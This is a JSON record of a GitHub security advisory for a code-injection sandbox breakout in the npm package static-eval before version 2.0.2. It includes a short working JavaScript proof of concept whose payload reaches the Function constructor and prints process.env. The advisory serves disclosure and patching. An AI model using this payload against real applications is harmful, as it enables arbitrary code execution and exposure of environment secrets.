{"id":"GHSA-x9hc-rw35-f44h","aliases":["GHSA-x9hc-rw35-f44h"],"related":[],"kind":"vulnerability","state":"published","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","summary":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","format":"markdown","source":"ghsa"}],"published":"2020-09-02T15:46:03.000Z","modified":"2021-09-27T13:40:52.000Z","severity":{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.0.2"}],"ecosystem":"npm","package":"static-eval","purl":"pkg:npm/static-eval","source":"ghsa"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-STATICEVAL-173693","tags":["package"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/758","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x9hc-rw35-f44h","url":"https://github.com/advisories/GHSA-x9hc-rw35-f44h","licence":"CC-BY-4.0","modified":"2021-09-27T13:40:52.000Z"}],"updatedAt":"2026-11-25T22:56:47.003Z"}